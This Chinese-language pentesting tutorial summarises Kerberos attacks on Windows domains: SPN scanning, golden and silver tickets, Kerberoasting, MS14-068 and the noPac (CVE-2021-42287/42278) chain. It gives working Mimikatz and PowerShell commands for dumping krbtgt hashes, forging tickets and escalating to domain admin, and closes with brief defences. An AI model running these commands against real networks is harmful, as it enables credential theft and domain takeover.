内网漫游之Kerberos协议利用加经典漏洞利用总结
字数 1651 2025-08-29 08:30:36
Kerberos协议利用与经典漏洞利用总结
1. SPN(服务主体名称)基础
1.1 SPN定义
- SPN是Kerberos客户端用于唯一标识特定Kerberos目标计算机的服务实例名称
- 将服务实例与服务登录帐户相关联
- 在整个林中的计算机上安装多个服务实例时,每个实例都必须有自己的SPN
1.2 SPN格式
<service class>/<host>:<port>/<service name>
- 必须元素:服务类(如WWW、MySQL、MSSQL等)和主机名(FQDN或NetBIOS名)
- 可选元素:端口号(默认端口可省略)和服务名称
1.3 SPN注册类型
- 注册在机器帐户(Computers)下:服务权限为Local System或Network Service时
- 注册在域用户帐户(Users)下:服务权限为域用户时
1.4 常见SPN示例
- MSSQLSvc/adsmsSQLAP01.adssecurity.org:1433
- ExchangeMDB/adsmsEXCAS01.adssecurity.org
- TERMSERV/adsmsEXCAS01.adssecurity.org
2. SPN利用技术
2.1 SPN扫描
使用setspn.exe:
setspn -T test -Q */* # 查找test域中所有SPN信息
setspn -T test -Q */* | findstr "MSSQLSvc" # 查找特定服务
使用PowerView.ps1:
import-module c:\powerview.ps1
Get-NetComputer # 获取域内所有机器信息
Get-NetUser # 获取所有用户详细信息
Get-NetDomainController # 获取域控制器信息
2.2 机器用户与域用户关系
- 机器用户是computer类的实例,computer类是user类的子类
- 机器用户具有域用户的所有属性
- 以system权限运行时就是以机器用户登录域
提权为系统权限:
psexec.exe -i -s powershell.exe "whoami"
3. Kerberos协议基础
3.1 Kerberos认证流程
- AS-REQ: 客户端向KDC发起验证请求(客户端Hash加密的时间戳)
- AS-REP: KDC返回使用krbtgt加密的TGT票据(包含PAC)
- TGS-REQ: 客户端使用TGT请求特定服务
- TGS-REP: KDC返回使用服务hash加密的TGS票据
- AP-REQ: 客户端使用TGS请求服务
- AP-REP: 服务验证TGS并检查PAC权限
3.2 PAC(特权属性证书)
- 包含用户的SID和所在组
- 用于解决客户机访问权限问题
- 只有KDC能制作和查看PAC
4. Kerberos攻击技术
4.1 黄金票据(Golden Ticket)
利用前提:
- 域的SID
- 域名
- krbtgt用户的NTLM hash或AES256密钥
特点:
- 可绕过账户验证(20分钟内)
- 可设置任意有效期
- 即使KRBTGT密码更改一次仍有效
- 绕过SmartCard验证
- 可在非域主机上使用
利用步骤:
- 获取krbtgt hash:
lsadump::dcsync /domain:test.com /user:krbtgt
- 生成黄金票据:
kerberos::golden /domain:test.com /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi
- 注入票据:
kerberos::ptt c:\test\gold.kirbi
4.2 白银票据(Silver Ticket)
与黄金票据区别:
- 伪造的是TGS票据而非TGT
- 只能访问特定服务
利用方法:
kerberos::golden /domain:test.com /sid:S-1-5-21-652679085-3170934373-4212321231 /target:WIN2008.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
4.3 Kerberoast攻击
原理:
- 利用TGS-REP中使用服务实例NTLM hash加密的TGS票据
- 通过离线爆破获取服务账户密码
利用步骤:
- 请求TGS:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.test.com"
- 导出TGS:
kerberos::list /export
- 离线爆破:
使用tgsrepcrack.py或kirbi2john.py工具
5. 经典漏洞利用
5.1 MS14-068漏洞
利用前提:
- 域普通用户的SID、用户名、密码
- 域控未打KB3011780补丁
利用方法:
MS14-068.exe -u 域用户@test.com -p 域用户密码 -s 域用户SID -d 域控ip
5.2 CVE-2021-42287 + CVE-2021-42278
前置知识:
- S4U2self: 服务可代表用户申请针对自身的TGS
- 机器账户默认以\(结尾,但漏洞允许创建不以\)结尾的账户
利用步骤:
- 添加机器账户:
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx
- 清除SPN信息:
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname'
- 重命名机器账户为DC(不加$):
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC" -Attribute samaccountname
- 请求TGT:
tgt::ask /user:sql /domain:warsec.com /password:123admiN@
- 恢复机器账户名:
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname
- 请求S4U2self:
tgs::s4u /tgt:TGT_sql@WARSEC.COM_krbtgt~warsec.com@WARSEC.COM.kirbi /user:administrator /service:cifs/dc.warsec.com
- 获取krbtgt hash:
kerberos::ptt tgs.kirbi
lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x
6. 防御建议
- 定期更改krbtgt账户密码
- 限制机器账户创建权限(ms-ds-machineaccountquota)
- 及时安装安全补丁
- 监控异常Kerberos活动
- 实施最小权限原则